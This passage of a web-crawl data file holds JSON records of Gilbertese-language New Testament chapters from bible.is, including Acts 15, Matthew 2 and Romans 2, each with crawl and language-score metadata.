arona. 11B'a ngkana iai te mimitong n te baere e aki tei maan arona, ao ai m'aiti ra riki te mimitong n te baere e tei maan arona. 12Ma ngaia ae ngkai iai i rouia te kaantaninga aei, ao ti rangi n ninikoria, 13tiaki n ai aroni Moote, are e karaba matana n te rabuna ni mata, b'a a aonga tibun Iteraera n aki taratara tokin te raneanea are tabe ni mauna. 14Ma a kamatoatoaki nanoia; b'a man te tai arei ni karokoa te bong aei, ao e tuai meni mauna te rabuna ni mata ngkana a wareka te Boraraoi Nikawai, b'a ti Kristo ae mauna i Rouna. 15Ao ma ngkekei ni karokoa ngkai, ngkana e warekaki ana Tua Moote, ao bon iai te rabuna ni mata i aon nanoia. 16Ma ngkana e rairaki te aomata nakon te UEA, ao e na uotaki nako te rabuna ni mata. 17Ao te UEA bon te Tamnei; ao ike E mena iai Tamnein te UEA, ao e mena iai te aro n inaomata. 18Ao ngaira ni bane ma matara aika aki rabunaki, aika ti nora mimitongin te UEA kanga n te tirotaam, ti tabe n onikaki nakoni katotongana man te mimitong teuana nakon teuana; ao e riki aei mairoun te UEA ae te Tamnei.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/3","date":"2016-07-01T21:24:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783403825.35\/warc\/CC-MAIN-20160624155003-00033-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":482,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.432,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBETO 3:1919b'a e aonga naba n iai iroumi te kona n ata tangirami irouni Kristo, are e aki konaaki n ataaki raoi arona, b'a a aonga ni kaonaki maiumi n anuan te Atua ni kabane. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Eph\/3\/19","date":"2016-06-25T10:31:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783393093.59\/warc\/CC-MAIN-20160624154953-00081-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":0.9999626875,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9999626874923706}","num_words":50,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.28,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I mwin norani baikai ao I taratara nako, ao noria, te mataroa ae uki i karawa, ma te b'ana are I ongo rimoa, are kanga ai aroni b'anaan te bu are taetae ma ngai, ae kaangai, \"Mai rierake, ao N na kaoti nako im baika na bon riki i mwini baikai.\" 2Boni ngkekei naba ao I a mena naba i aani m'aakan ana kairiri te Tamnei 3Ao Teuare tekateka iai e kiakia nako mai Rouna te raneanea ae ai aron raneaneani matan atibu aika kakawaki are te iatebi ma te tarerio; ao e katobibia te kaintokanuea arei Nei Wirara, ae ai aroni matan te atibu ae te timaraketo taraana. 4Ao e katobibiaki te kaintokanuea arei ni kaintokanuea aika uabwi ma aua; ao I nooriia unimm'aane aika uangauni ma aman b'a a tekateka i aoni kaintokanuea ake uabwi ma aua ao a kunnikainiia ni kunnikai aika mainaina, ma baunuea aika koora i aon atuia. 5Ao man te kaintokanuea a nako iti ma b'ana ma rebwerebwen te baa; ao i nanoaan te kaintokanuea a mena iai itiai kaai aika teke i taboia n tatabeua nako baika ura n te ai: bon tamnei ake itiman ake mairoun te Atua. 6Ao i nanoaan naba te kaintokanuea e mena naba iai te b'ai ae kanga ai aron taraani marawa ae te kiraati ae ai aron taraan te atibu are te kurititaro; ao i rarikin te kaintokanuea ni katobibia a mena iai baika maiu aika aman aika buta rab'ataia ni maata mai moaia ao mai akuiia. 7Ao temanna ni baike a maiu ai aron te raian, ao te kauoman ai aron te kaomm'aane; ao te kateniman iai ubuna ae kanga ubun te aomata; ao te kaaman ai aron te ikare ae kibakiba. 8Ao baike a maiu ake aman, kaka oneai baiia ni kibakiba, ao a buta aon rab'ataia ni katobibiaki ma aani baiia ni maata; ao a aki toki n anene ni ngaina ao ni bong, ni kaangai: \"E tabu, E tabu, E tabu te Uea ae te Atua ae Moan te M'aka, ae bon iai ngkoa, ao iai ngkai, ao iai n rimwi n aki toki.\" 9Ao ngkana a anene baike a maiu n neboa ma ni karinea ma ni katituaraoa Teuare tekateka i aon te kaintokanuea, are Teuare maiu n aki totoki, 10ao unimm'aane ake angauni ma aman a katorobubua ni bobaraaki i matan Teuare tekateka i aon te kaintokanuea, ma n taromauria Teuare maiu n aki totoki, ma ni kaaki aia baunuea i nanoaan te kaintokanuea, ao a kaangai, 11\"Ara Uea ao Atuara, Ko bon riai n anganaki te neboaki ma te karineaki ma te m'aaka. B'a Ko kariki b'aai ni kabane, ao a riki i bukin nanom, ao a karikaki iai.\"\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/4","date":"2016-06-29T09:16:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783397695.90\/warc\/CC-MAIN-20160624154957-00001-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":450,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.438,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Mairoun te unimm'aane nakon te aine ae karineaki ae rineaki ma natina akana I tangiriia ni koaua; ma tiaki ti ngaia, b'a a tangiraki naba irouia ni kabaneia ake a ata te koaua; 2ti tangiringkami i bukin te koaua ae mena i nanora, ao e memena i nanora n aki toki. 3E na mena i roura te akoi, ma te nanoanga, ma te raoi, mairoun te Atua ae te Tama ao mairoun Iesu Kristo are Natin te Tama; a na mena baikai i roura ngaira aika ti ata te koaua aika ti i tangitangiri. 4I bati ni kim'areirei ngke I noriia natim tem'angina b'a a b'ab'aina te koaua ni maiuia, n toua mwin te tua ae ti anganaki mairoun te Tama. 5Ao I butiko ngkai, ngkoe ae te aine ae ko karineaki, b'a ti na i tangitangiri: I aki koroia nako im b'a te tua ae boou, ma bon te tua are reke i roura ma ngke ti moa n riki b'a Kristian. 6Aio te tangira, b'a ti na tou mwin ana tua nako te Atua. Aio te tua, b'a kam na b'ab'aina te tangira ni maiumi, n ai aron are kam ongo ngke kam moa n riki b'a Kristian. 7B'a a bati taani m'am'ana te aba ake a tia ni waki n aia m'akuri i aonnaba, ake a aki kakoaua Iesu Kristo b'a E roko n rab'ata. Te aomata ae arona aei boni ngaia te tia m'am'ana te aba ao ana kairiribai Kristo. 8Kam na tarataraingkami b'a kam na tai kabuai baike kam m'akuri i bukiia; ma kam na karekei kaniwangami aika b'anin raoi. 9Ane aki toua mwin ana taeka n reirei Iesu ma e kitanna n tan nako, ao akea te Atua i rouna; ane toua mwin ana reirei, ao bon iai i rouna te Tama ma te Nati. 10Ngkana e kawaringkami temanna ao e aki uota te taeka n reirei aei, ao kam na tai butim'aia ni karinna i nanon ami auti, ao kam na tai kamauria. 11Ane kamauria ao e buokanib'ai ma ngaia n ana m'akuri aika bubuaka. 12Ngkai a bati au taeka aika I kani koroi nako imi, ao I aki kani koroi n te beb'a ma te anto. 13A kani kamauriko natin tarim ae rineaki.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/2John\/1","date":"2016-06-25T01:59:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783391766.5\/warc\/CC-MAIN-20160624154951-00074-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":372,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.419,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1A roko aomata tabem'aang mai Iutaia nako Antioka, ao a reireiia taari, ni kaangai, \"Kam aki konaaki ni kamaiuaki ngkana kam aki korotabonim'aneaki, n ai aron ana taeka Mote.\" 2E bo te kauntaeka ae ab'ab'aki i marenaia uakekei ma B'auro ao B'arenaba i bukin te baere a taekinna uakekei; ao a rineaki ngkanne B'auro ma B'arenaba ma raoia tabem'aang mai Antioka b'a a na nako Ierutarem nakoia taan tuatua ma unimm'aane i bukin te baere a kauntaeka iai. 3Ma ngaia are, ngke a kanakoaki iroun te ekaretia, ao a ri nuukani Boinike ma Taamaria, ni karakin taekan rairan nanoia aomata ake tiaki I-Iutaia; a rangi ni kim'areirei taari i rouia ngke a ongo arei. 4Ngke a roko i Ierutarem, ao a m'aneaki n akoaki iroun te ekaretia ikekei, ao irouia taan tuatua ma unimm'aane; ao a tuangiia b'aai ni kabane ake E karaoi te Atua ma ngaiia. 5Ma a teirake tabem'aang ake a onimaki man te koraki ni B'aritaio, ao a kaangai, \"A bon riai ni korotabonim'aneaki, ao ni kamatoaki te taeka nakoia b'a a na tou mwin ana tua Mote.\" 6A botaki taan tuatua ma unimm'aane b'a a na iangoa te baerei. 7Ngke e a maan te kauntaeka, ao e teirake Betero, ao e kaangai nakoia, Taari, kam ataai b'a E rineai ngkoa te Atua i buakora b'a N na tataekina te euangkerio nakoia aomata aika tiaki I-Iutaia, b'a a aonga n ongo ma n onimaki. 8Ao te Atua, are atai naano nako, E kaota aroni butim'aeaia aomata aika tiaki I-Iutaia i rouna ngke E anganiia te Tamnei are Raoiroi, n ai arona naba ngke E anganira; 9ao E aki kakaokoroa arora ma ngaiia, ngke E kab'arai aia bure i bukin aia onimaki. 10Ma ngaia ae kam aera ngkai kam kataa te Atua, ngkai kam katokaa te rawawata i aoia reirei, are a aki kona n uotia ara bakatibu, ao ti aki kona naba ngaira? 11Ma ti onimaki b'a ti na boni kamaiuaki n ana akoi te UEA are Iesu n ai aroia naba. 12A bane n aki karongoa aomata ngke a ongora irouni B'arenaba ma B'auro, ngke a karakin taekani kanikina ma m'akuri aika kamimii ake E karaoi te Atua i rouia i buakoia aomata aika tiaki I-Iutaia. 13Ngke a tia n taetae, ao e a kaangai ngkanne Iakobo, Mm'aane, taari, kam na ongora i rou! 14E a tia Timon ni karakina aron te Atua ngke E moa ni kawariia aomata aika tiaki I-Iutaia b'a E na anaa te botannaomata mai buakoia b'a ana b'ai. 15E bo raoi aei ma aia taeka burabeti, n aron are koreaki ni kaangai, 16\"I mwini baikai ao N na oki, ao N na manga katea batan Tawita are b'aka; N na manga karaoia man uruakina, ao N na manga kateia rake. 17B'a a na ukoukora te UEA nikiraia aomata, ni botaki ma Tientaire, ake I a tia n atongiia b'a oin au b'ai. 18Aei ana taeka te UEA, ae kaoti baikai ma ngkoangkoa.\" 19Ma ngaia ae I taku ngai b'a ti na aki kumeia ake a rairaki nakon te Atua mai buakoia aomata ake tiaki I-Iutaia. 20Ma ti riai ni korea te reta nakoia, n tuangiia b'a a na aki kangi baike a tia ni kareanaki nakoni bouananti b'a a kam'ara; ao b'a a na aki b'aina te wene ni bure, ao a na aki kang irikoni maan aika a koonaki roroaia ngke a tiringaki, ao a na aki kana naba te raraa. 21B'a iai ake a tataekina ana tua Mote ma ngkoangkoa i nanoni kaawa nako, ao a warekaki ana tua i nanoni m'aneaba n te Taabati ae koraki. 22E tara n raoiroi nakoia taan tuatua ma unimm'aane ma kaain te ekaretia ni kabane b'a a na kanakoia aomata aika rineaki mai buakoia nako Antioka, b'a raoni B'auro ma B'arenaba. A rinea ngkanne Tira ao Iuta are arana teuana Baretaba, aika aomata aika rangi n onimakinaki i buakoia taari. 23A korea te reta b'a uotaia, ae kaangai taekana: Ti anga ara kamauri, ngaira aika taan tuatua ma taari aika unimm'aane, nakoimi ngkami aika taari aika tiaki I-Iutaia i Antioka, i Turia ao i Kirikia. 24Ngkai ti ongo b'a iai tabem'aang i buakoia ara koraki aika kakiriweingkami n aia taeka, ao a uru nanomi iai, aika te koraki aika akea ara taeka nakoia b'a a na karaoa ae aron anne. 25Ao e tara n tamaroa nako ira, ngkae e reke nanora ae ti teuana, b'a e riai b'a ti na rineia aomata ni kanakoia nakoimi, ma raora aika tangiraki are B'arenaba ma B'auro, 26ake aomata ake a aki mutiakini maiuia i bukin aran ara UEA are Iesu Kristo. 27Ti a kanakoia ngkanne nakoimi Iuta ma Tira, b'a a na bon taetae nakoimi i bukini baika ti korei n te reta. 28B'a e tara n tamaroa nakon te Tamnei are Raoiroi, ao nako ira naba b'a ti na aki katokaa riki te uota i aomi ae rawawata, ma ti baikai aika riai: 29kam na aki kang am'arake ake a tia ni kareanaki nakoni bouananti; kam na aki kang raraa; kam na aki kana te man ae tiringaki ni konaaki roroana; ao kam na aki wene ni bure. Ngkana kam kararoaingkami mani baikai ao kam karaoa ae kam na kab'aia iai. Ara katekeraoi nako imi. 30Ao uakekei, ngke a kanakoaki, ao a nako Antioka, ike a botiia iai kaain te ekaretia, ao a anganiia te reta. 31Ngke a warekia, ao a kim'areirei n taekana ake a kaungaaki iai nanoia. 32A kaungaia naba taari Iuta ma B'auro n taeka aika bati, ngkai boni burabeti naba ngaiia, ao a kakorakorai nanoia. 33Ngke a boni maan n tiku ikekei, ao a kanakoaki ma taeka ni katekeraoi irouia taari nakoia nake a kanakoia 34Ma Tira e kan tiku riki. 35A maeka B'auro ma B'arenaba ma raoia aika bati i Antioka, ao a reirei ma n tataekina ana taeka te UEA. 36I mwin tabe bong, ao e taku B'auro nakoni B'arenaba, Ti na manga nako ni kawariia tarira ni kaawa nako ake ti taekina ana taeka te UEA iai, b'a ti na noori aroia. 37Ao B'arenaba e kani kaira Ioane, are arana teuana Mareko. 38Ma B'auro e taku n ana iango b'a ngkai e a tia n aki raoniia Ioane, ao e aki iriia n aia m'akuri, ao e riai b'a a na aki kairiia b'a raoia. 39A bo ngkanne ni kauntaeka n te aro are a raure nako iai: e kaira Mareko, B'arenaba, ao a borau nako Kubero; 40ma B'auro e rinea Tira, ao a nako, ngke a tia ni mwiokoaki taekaia nako nanoni bain te UEA, b'a a na kakab'aiaki n ana akoi. 41Ao e nako B'auro ma Tira, ni kabuta aon Turia ma Kirikia, ao e kakorakoraia ekaretia.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/15","date":"2016-06-28T03:00:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783396224.52\/warc\/CC-MAIN-20160624154956-00025-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1113,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.403,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke E bungiaki Iesu i Betereem i Iutaia n ana bong n uea Erote, ao noria, a roko i Ierutarem taan rabakau mai mainiku, ao a taku, 2\"E nga Teuare bungiaki b'a aia Uea I-Iutaia? B'a ti nora itoina i mainiku, ao ti a roko b'a ti na taromauriia.\" 3Ngke e ongo aei Erote are te uea, ao e kiriwe nanona ma angiia kaain Ierutarem. 4E botiia ni kabane aia mataniwi ibonga ma taani koroboki, ao e taku nakoia, \"E na bungiaki iaa te Kristo?\" 5A taku nako ina, \"I Betereem i Iutaia: b'a e koreaki ae kangai iroun te burabeti: 6'Ao ngkoe ae Betereem ae kawan Iuta, ko ataaki irouia ake a tautaeka i Iuta; b'a te kawa teuana i buakoni kawana ake a rangi ni kakannato, b'a E na nako mai roum te Uea are na kawakinia au aomata ake Iteraera.' \" 7E kaoiia ngkanne taan rabakau Erote b'a e na botaki ma ngaiia n ti ngaiia, ao e neneria b'a e na kaoti te itoi n ningai. 8Ao i mwina, e kanakoia nako Betereem ma ana taeka nakoia ae kangai, \"Kam na nako ao kabotum'akaingkami n ukoukora te teei; ao ngkana kam kunea, ao kam na nako mai n tuangai, b'a N na nako naba n taromauriia.\" 9Ngke a tia n ongo ana taeka te uea, ao a nako; ao noria, e ri moaia te itoi are a noria i mainiku, ao e nako ni mena i etan te tabo ike E mena iai te teei. 10Ngke a nora te itoi, ao a kaonaki n te kim'areirei ae moan te bati. 11Ao ngke a rin n te auti, ao a nora te merimeri ma Nei Maria are tinana, ao a katorobubua ni bobaraaki n taromauriia, ao a kaotinakoi aia b'aintangira aika koora, ma te riibano, ma te muura, ao a angan te merimeri. 12Ao a okira abaia n te kawai teaina, i bukina ngke a tia n tuangaki n te mii iroun te Atua b'a a na aki okira Erote. 13Ao i mwina ngke a tia n nako, ao noria, e kaoti ana anera te Atua nakon Ioteb'a n te mii, ao e taku, \"Tei rake ao kaira te merimeri ma tinana ni biri nako Aikubita, ao mena iai ni karokoa tuangam i Rou; b'a ane e na ukoukora te merimeri Erote b'a e na kamatea.\" 14Ao e tei rake Ioteb'a, ao e kaira te merimeri ma tinana e bong, ao e nako Aikubita, 15ao e tiku ikekei ni karokoa maten Erote. E riki aei b'a e na kakoauaki are E atongnga te Atua iroun te burabeti, ngke E kangai, \"I wetea natiu mai Aikubita.\" 16Ngke e ataia Erote b'a e a tia ni m'am'anaaki irouia taan rabakau, ao e rangi n un. E kanakoa ana taeka b'a a na bane n tiringaki ataei aika mm'aane i Betereem ma kaawa ake i rarikina ake kaka uoua aia ririki i bukina ngke e a tia n ataia mairouia taan rabakau b'a e a tia ni koro uoua te ririki man te tai are a moa n nora iai te itoi. 17E a kakoauaki iai ngkanne are e atongaki iroun Ieremia are te burabeti, ngke e taku: 18E ongo te aba te b'ana i Rama, bon te tang, ma te tanginiwenei ae bati. E tang Nei Rakera i bukiia natina, b'a a mate, ao e rawa ni kabebeteaki nanona. 19Ngke e a tia ni mate Erote, ao noria, e kaoti ana anera te Uea nakon Ioteb'a n te mii, ao e kangai, 20\"Tei rake, ao kaira te teei ma tinana ao naako abaia Iteraera, b'a a tia ni mate te koraki ake a kan tiringa te teei.\" 21E tei rake Ioteb'a, ao e kaira te teei ma tinana ao e nako abaia Iteraera. 22Ma ngke e ongo b'a e uea Arekerau i Iutaia n rua mwin Erote are tamana, ao e maaku n nako iai; ma ngke e tuangaki n te mii iroun ana anera te Uea, ao e nako n te aba are Kariraia; 23ao ngke e roko iai, ao e maeka n te kawa are arana Natareta. B'a e na kakoauaki are atongaki irouia burabeti are kangai: \"E na aranaki Teuarei b'a kaain Natarene.\"\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/2","date":"2016-06-28T11:54:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783396875.58\/warc\/CC-MAIN-20160624154956-00038-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000097751617432}","num_words":697,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.258,"stopwords_ratio":0.439,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1B'a ti ataia b'a ngkana e uruaki te um'a n rianna ae i aon te aba ae nera ni maeka, ao bon iai te auti mairoun te Atua, ae te nne ni maeka ae aki karaoaki ni baiia aomata, ae te auti ae aki kona n uruaki, are i karawa. 2B'a ti ngirangira i nanoni nera ni maeka aei, ngkae e bati i nanora kani karinan ara auti mai karawa i aora; 3b'a ngkana ti kunnikaiaki iai, ao ti na aki kuneaki n akea karabara. 4B'a ngkai ti boni mena naba n te um'a n rianna aei, ao ti ngirangira ngkai ti rawawata; tiaki ngkai ti kani kaki mai aora karabara, ma ngkai ti kani manga karina karabara teuana i aora, b'a e aonga n oongaki te baere e mamate n te maiu. 5Ao Teuare katauraoira nakon te oneaki aei bon te Atua, are anganira te Tamnei b'a kakoauan te oneaki aei b'a e na bon riki. 6Ma ngaia ae a kakorakoraki nanora n taai nako, ao ti ataia b'a ngkai ti maeka ni mwengara ae te rab'ata, ao ti raroa mani mwengara are iroun te UEA. 7B'a ti nakonako n te onimaki, ma tiaki n ane noraki. 8A kakorakoraki nanora, ao ti tangira riki te kitana mwengara ae te rab'ata ma n nako ni maeka ma te UEA. 9Ma ngaia aei, b'a ti mena ni mwengara aei ke ti kitanna, ma nanora bon ti te kani kakukureia te Atua. 10B'a ti na boni bane ni kateaki i matan ana kaintoka ni motikitaeka Kristo, b'a e aonga n anganaki temanna ma temanna booni mwin ana m'akuri ni kabane ake e a tia ni karaoi n rab'atana, aika baika raraoi ke a bubuaka. 11Ma ngaia aei, b'a ngkai ti ata m'aakan te UEA, ao ti anai nanoia aomata; ma a ataaki arora iroun te Atua; ao bon au kaantaninga b'a ti ataaki raoi i roumi ni mataniwin nanomi. 12Ti aki manga kani kamoamoaira riki nako imi; ma ti kani kaota nako imi bukin te bae kam na kamoamoa iai i bukira, b'a kam aonga ni kona ni kaekaia te koraki ake a kainikatonga i bukin aron taraan te aomata, ma tiaki n aron anuana. 13B'a ngkana ti rangirang ao bon i bukin te Atua, ke ngkana ti nano n aomata ao bon i bukimi. 14B'a e tautaekaniira ana tangira Kristo; ao ngkai ti kakoaua b'a E mate i bukiia aomata ni kabaneia, ao nanona b'a a bane aomata ni buokanib'ai ni matena; 15ao E mate i bukiia ni kabaneia, b'a a aonga n aki manga kabane maiuia akana maiu, bon i bukiia; ma a na kabane maiuia i bukin Teuare mate i bukiia, ao are E a manga uti naba i bukiia. 16Ma ngaia ae ma ngkai ao akea temanna ae ti na bairea taekana man te iango n aomata; e boni ngae ngke ti a tia n te taina ni bairea taekani Kristo iai, ma ti aki kona ni manga karaoia riki nako Ina. 17Ma ngaia aei, ngkana e reitaki te aomata ma Kristo, ao e riki b'a te aomata ae boou; a nako aaro nikawai; noria, a roko aika boou. 18Baikai ni kabane boni mairoun te Atua, are raoiakinira nako Ina irouni Kristo, ao E anganira te nakoa n raoi. 19Tera ae ti nanonna b'a te Atua irouni Kristo, E raoiakiniia kaain aonnaba nako Ina, n aki tau mwin aia bure; ao E mwiokoira n taekan te raoi. 20Ma ngaia ae taan taetae ngaira i bukini Kristo, ao kanga E taetae ni bubuti te Atua i roura: ti butingkami i bukini Kristo, b'a kam na raoi ma te Atua. 21Teuare babanga karaoan te bure, E karaoia te Atua b'a kaanga ai aron te tia bure i bukira; b'a ti aonga n riki b'a aomata aika karaoa nanon te Atua n arora n reitaki ma Kristo.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/5","date":"2016-06-28T02:28:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783396224.52\/warc\/CC-MAIN-20160624154956-00035-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":637,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.403,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia ae bon akea aonam, ngkoe ae te aomata ae ko taku n am baire b'a a buakaka aomata nako: b'a ane ko taku b'a e buakaka, ao ko boni motika naba iai taekam ni kabuakakako, i bukina b'a ngkoe ae ko kabuakaka ko boni karaoi naba baikai. 2Ma ti ata ana motiki-taeka te Atua b'a e eti nakoia akana karaoi baikai. 3Ao ngkoe ae te aomata ae ko taku n am baire b'a a buakaka aomata aika karaoi baikai, aika ko boni karaoi naba, ko kona ni biri nako mai m'ain ana motiki-taeka te Atua? 4Ke ko aki rangi ni mutiakina ana ataataiaomata ae bati, ma taotaonan nanona, ma arona n aki kakaiun? Ao ko aki ata ana ataataiaomata te Atua b'a e kairiko nakon rairan nanom? 5Ma ngkai a matoatoa nanomi n rawa ni kani kaetaki, ao kam kaikoa te un nakoimi nakon te bong are e na kaotaki iai unin te Atua ma ana motiki-taeka ae eti. 6B'a E na bon angania aomata nako booni mwin aia m'akuri. 7Nakoia ake a ukoukora te neboaki ma te karineaki ma te aki-mamate, n aia botum'aka ni kakaraoi m'akuri aika raoiroi, ao te maiu are aki toki. 8Ao nakoia ake a ukoukori ti oini kab'aiaia, ake a aki ira nanon te koaua, ma a ira nanon te buakaka, e na roko unin te Atua i aoia ao e na rawawata ana moti nakoia. 9A na rotaki n te rawawata ma te maraki maiuia aomata nako akana kakaraoa te buakaka, aika I-Iutaia moa ao I-Erene naba; 10ma te neboaki ma te karineaki ma te rau bon aia b'ai aomata nako akana kakaraoa te raoiroi, aika I-Iutaia moa ao I-Erene naba. 11B'a e aki nanonano te Atua. 12B'a ngkai a bati aika bure ao akea te Tua i rouia, ao a na boni mate n akea naba te Tua i rouia; ao ngkai a bati aika bure ao iai te Tua i rouia, ao a na boni baireaki taekaia i aan te Tua. 13B'a tiaki akana ongora n te Tua ae e na reke i rouia te reitaki ae e raoiroi ma te Atua, ma e na reke irouia akana ira nanon te Tua. 14B'a aomata aika tiaki I-Iutaia aika akea te Tua i rouia, ngkana a ongeaba nakoni b'anaani mataniwin nanoia n aki ataia ae a ira iai nanon te Tua, ao a kaotiia iai b'a a ata ae a riai ni karaoia ao ae a aki, e ngae ngke akea te Tua i rouia. 15A kaotaki n aroia b'a e koreaki i nanoia kanoan te Tua, ao a kaota aei mataniwin nanoia b'a e koaua, ngkai a kona n tuangaki n aia iango b'a a raoiroi ke a buakaka baike a karaoi. 16Ma ngaia are, n reitaki ma kanoan te euangkerio ae I tataekinna, ao bon aei aron te bae e na riki n te bong arei, ngkana E motiki taekaia aomata te Atua i nanon Iesu Kristo ni kaeti ma iango ake a raba i nanoia aomata. 17Ma ngkoe, ko taku b'a te I-Iutaia; ko onimakina te Tua, ma ni kamoamoako i bukin arom n reitaki ma te Atua; 18ko ata nanon te Atua, ao ko rabakau n rinea ae e raoiroi, i bukina b'a ko reireiaki n te Tua; 19ko onimakiniko b'a te tia kaiririia matakii ngkoe, ao te oota nakoia akana mena n te roo, 20ao te tia reireiia akana mamara nanoia ma merimeri, ao ko atai kanoan te Tua ni kabane ma koaua i nanona. 21Ngkoe ae ko reireiia tem'angina, ko a tia n reireiko? Ngkoe ae ko tua te aki ira, ko ira? 22Ngkoe ae ko taku b'a e na aki wene ni bure te aba, ko wene ni bure? Ngkoe ae ko ribaai bouannanti, ko anai b'ain Tembora n te aro n iowawa? 23Ngkoe ae ko kamoamoako i bukin te Tua, ko kamatauninga te Atua n riaoakin te Tua i roum? 24B'a e koreaki ae kaangai: \"I bukin aromi, ngkami aika I-Iutaia, ao e a riki n taetaebuakaki iai aran te Atua irouia aomata aika tiaki I-Iutaia.\" 25B'a bon iai bongan te korotabonim'aneaki ngkana ko toua mwin te Tua; ma ngkana te tia ri aon te Tua ngkoe, ao e riki korotabonim'aneakim b'a te b'ai ae akea nanona. 26Ma ngaia aei, b'a ngkana e toua mwin ana taeka te Atua ane aki korotabonim'aneaki, ao tiaki e na atongaki iai ngkai e tuai ni korotabonim'aneaki b'a aongkoa e a tia ni korotabonim'aneaki? 27Ao ngkami aika iai iroumi taekan te Tua ae koreaki aika kam a tia ni korotabonim'aneaki ma kam urua te Tua, ane kam na kabuakakaki irouia aika tuai ni korotabonim'aneaki n rab'ataia ma a ira nanon te Tua. 28B'a tiaki te I-Iutaia ni koaua te aomata n taraan aon rab'atana, ao tiaki naba te korotabonimm'aane ni koaua ae karaoaki i tinanikun te aomata ni kunna. 29Ma te I-Iutaia ni koaua bon te aomata ae te I-Iutaia i nanona; ao te korotabonimm'aane ni koaua boni b'ain te nano, ae e nako mairoun te Tamnei, ma tiaki kanoan te Tua. E reke kamoamoakin te aomata aei mairoun te Atua ma tiaki mairouia aomata.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/2","date":"2016-06-25T10:44:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783393093.59\/warc\/CC-MAIN-20160624154953-00198-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":850,"character_repetition_ratio":0.068,"word_repetition_ratio":0.012,"special_characters_ratio":0.244,"stopwords_ratio":0.405,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1N te tai teuana, ao E tataro Iesu n te tabo teuana; ao ngke E toki ana tataro, ao e taku ana reirei temanna nako Ina, \"Te Uea, reireiniira te tataro n ai aron Ioane, ngke e reireiniia ana reirei.\" 2E taku Iesu nako ia, \"Ngkana kam tataro, ao kam na kangai, Tamara: E na tabuaki aram; e na roko Ueam. 3Anganira karara ae ti kainanoia n te bongi teuana ma teuana. 4Ao kab'arai ara bure, 